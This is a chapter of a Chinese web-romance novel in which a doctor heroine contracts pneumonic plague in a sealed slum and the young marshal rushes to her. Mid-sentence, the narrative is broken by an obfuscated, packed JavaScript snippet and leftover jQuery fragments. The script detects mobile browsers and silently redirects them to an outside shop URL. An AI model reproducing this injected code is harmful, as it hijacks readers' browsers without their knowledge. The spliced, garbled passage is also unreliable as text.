第51章 生死一线

作品:《重生之少帅的掌心娇医

    北城城南,猪笼寨隔离区。


    这里已经被封锁了整整五天。


    天空阴沉得仿佛要塌下来,空气中弥漫着一股浓烈的生石灰味和焚烧尸体的焦臭味。原本喧闹的贫民窟,此刻死一般寂静,只有偶尔传来的几声凄厉咳嗽,提醒着人们死神还在徘徊。


    沈晚清穿着那件已经被汗水浸透了无数次的防护服,像个不知疲倦的陀螺,穿梭在一间间低矮阴暗的土坯房里。


    “把这具尸体抬走!立刻火化!不要让家属靠近!”


    “这边的病人高烧不退,呼吸困难,那是肺鼠疫的征兆!马上转移到重症隔离区!”


    她的嗓子已经哑得快说不出话来,眼睛里布满了红血丝。


    这五天里,她几乎没合过眼。


    虽然封城令下得及时,但瘟疫的传播速度远超想象。猪笼寨里原本潜伏的病人开始集中爆发,每天都有几十具尸体被抬出去。


    “沈顾问……您歇会儿吧。”


    二牛推着一车石灰走过来,看着沈晚清摇摇欲坠的身影,心疼得直掉眼泪,“您都三天没吃饭了,就喝了几口水。再这样下去,铁打的身子也熬不住啊!”


    “我没事。”


    沈晚清摆摆手,强撑着站直身体,“现在是关键时刻。只要再坚持两天,把所有潜在感染者筛查出来,这波疫情就能压下去了。”


    她转头看向旁边同样狼狈不堪的亨利医生:“亨利,新一批的磺胺到了吗?”


    “到了!但是数量不够!”亨利摘下护目镜,擦了一把汗水,“沈,这简直是地狱。我们的药就像是往大海里撒盐,根本不够用。而且……有几个帮忙的伤兵兄弟,昨天也发烧了。”


    听到这话,沈晚清的心猛地揪紧了。


    那些伤残老兵,是她是带进来的。如果他们出了事……


    “带我去看看。”沈晚清咬牙道。


    重症隔离区设在一座废弃的庙宇里。


    刚一进门,一股令人窒息的血腥味扑面而来。十几个感染了肺鼠疫的病人躺在稻草上,剧烈地咳嗽着,咳出的血沫飞溅得到处都是。


    其中一个,正是那天帮她搬运物资的独臂老兵,老张。


    “沈……沈大夫……”


    老张看到沈晚清,艰难地想要坐起来,却猛地喷出一口鲜血。


    “别动!”


    沈晚清不顾一切地冲过去,扶住老张。


    就在这一瞬间,意外发生了。


    老张剧烈呛咳,一口混杂着高浓度鼠疫杆菌的血雾,直接喷在了沈晚清的面罩上。


    或许是防护服穿戴太久出现了磨损,又或许是那血雾太过猛烈,一滴暗红色的血珠,顺着面罩边缘的缝隙,渗了进去,落在了沈晚清的脸颊上。


    那一刻,时间仿佛静止了。


    周围的护士和二牛都惊呆了。


    沈晚清愣了一下。


    作为医生,她比谁都清楚这意味着什么。


    肺鼠疫的传染性极强,通过飞沫和粘膜传播,致死率接近100%,且发病极快。


    “别过来!”


    沈晚清猛地推开想要冲上来的二牛,声音尖利而决绝,“所有人!退后十米!立刻给自己消毒!”


    “沈顾问!你……”二牛急得要哭。


    “这是命令!”


    沈晚清厉声喝道,随后她深吸一口气,从口袋里拿出一块酒精棉,狠狠地擦拭着脸颊。


    但她知道,可能已经晚了。


    那种冰冷的恐惧感,第一次顺着脊梁骨爬了上来。


    接下来的几个小时,沈晚清强迫自己冷静下来,继续指挥工作。


    但身体的反应是诚实的。


    先是头晕。


    那种天旋地转的眩晕感,让她走路都开始踉跄。


    紧接着是发冷。


    明明穿着厚厚的防护服,浑身却像是掉进了冰窟窿里,牙齿不受控制地打战。


    再然后,是高烧。


    体温飙升得极快,视线开始变得模糊,眼前出现了一重重光怪陆离的幻影。


    “沈……沈?你在听我说话吗?”


    亨利的声音仿佛从很远的地方传来。


    沈晚清晃了晃脑袋,试图看清眼前的人,却发现亨利的脸变成了两个、三个……


    “亨利……”


    她虚弱地开口,声音飘忽,“我不行了。接下来的事……交给你了。”


    “沈!你怎么了?!”亨利惊恐地大叫。


    沈晚清没有回答。


    她用尽最后一点力气,推开了亨利,跌跌撞撞地向着角落


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16935539|192885||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    里一间独立的禁闭室走去。


    “别……别碰我……”


    她反手关上了门,颤抖着手,插上了门栓。


    “封锁……这里……”


    她靠着门板,身体缓缓滑落。


    剧烈的咳嗽声从喉咙深处涌出,她捂住嘴,掌心里是一抹触目惊心的鲜红。


    咳血了。


    肺鼠疫。


    沈晚清看着掌心的血,嘴角勾起一抹苦涩的笑。


    终究还是没躲过啊。


    意识逐渐涣散。


    在陷入黑暗的最后一刻,她的脑海里浮现出的,不是前世的仇恨,也不是今生的荣耀。


    而是一个男人。


    那个在雨夜里为她披上大衣、在列车上抱着她入睡、在城楼上目送她离开的男人。


    “陆淮锦……”


    她低声呢喃着这个名字,眼角滑落一滴滚烫的泪水。


    “对不起……这次,我可能要失约了。”


    ……


    隔离区外,指挥部。


    “报——!!”


    一名通讯兵发疯一样冲进了指挥部,连滚带爬地摔在陆淮锦面前。


    “少帅!不好了!出事了!”


    正在看地图的陆淮锦猛地抬起头,手里的铅笔“啪”的一声折断。


    “说!”


    “沈……沈总指挥……她在隔离区晕倒了!高烧咳血!确诊……确诊肺鼠疫!”


    轰——!


    陆淮锦的大脑瞬间一片空白。


    那个总是冷着脸、拿着手术刀、骄傲得像只天鹅的女人……倒下了?


    “备车!”


    陆淮锦猛地站起来,带翻了桌子。


    “少帅!您不能去!”宋副官死死抱住他的腿,“那是疫区!进去就是送死啊!您是三军统帅,您要是出了事,北六省就完了!”


    “滚开!”


    陆淮锦一脚踹开宋副官,拔出枪指着他的头,双眼赤红如血:


    “她是我的命!”


    “她要是**,这北六省还要它干什么?!”


    他收起枪,不顾一切地冲出了指挥部。


    暴雨倾盆。


    陆淮锦跳上吉普车,油门踩到底,像一道黑色的闪电,冲向那个充满了死亡气息的猪笼寨。


    晚晚,等我。


    求你,一定要等我。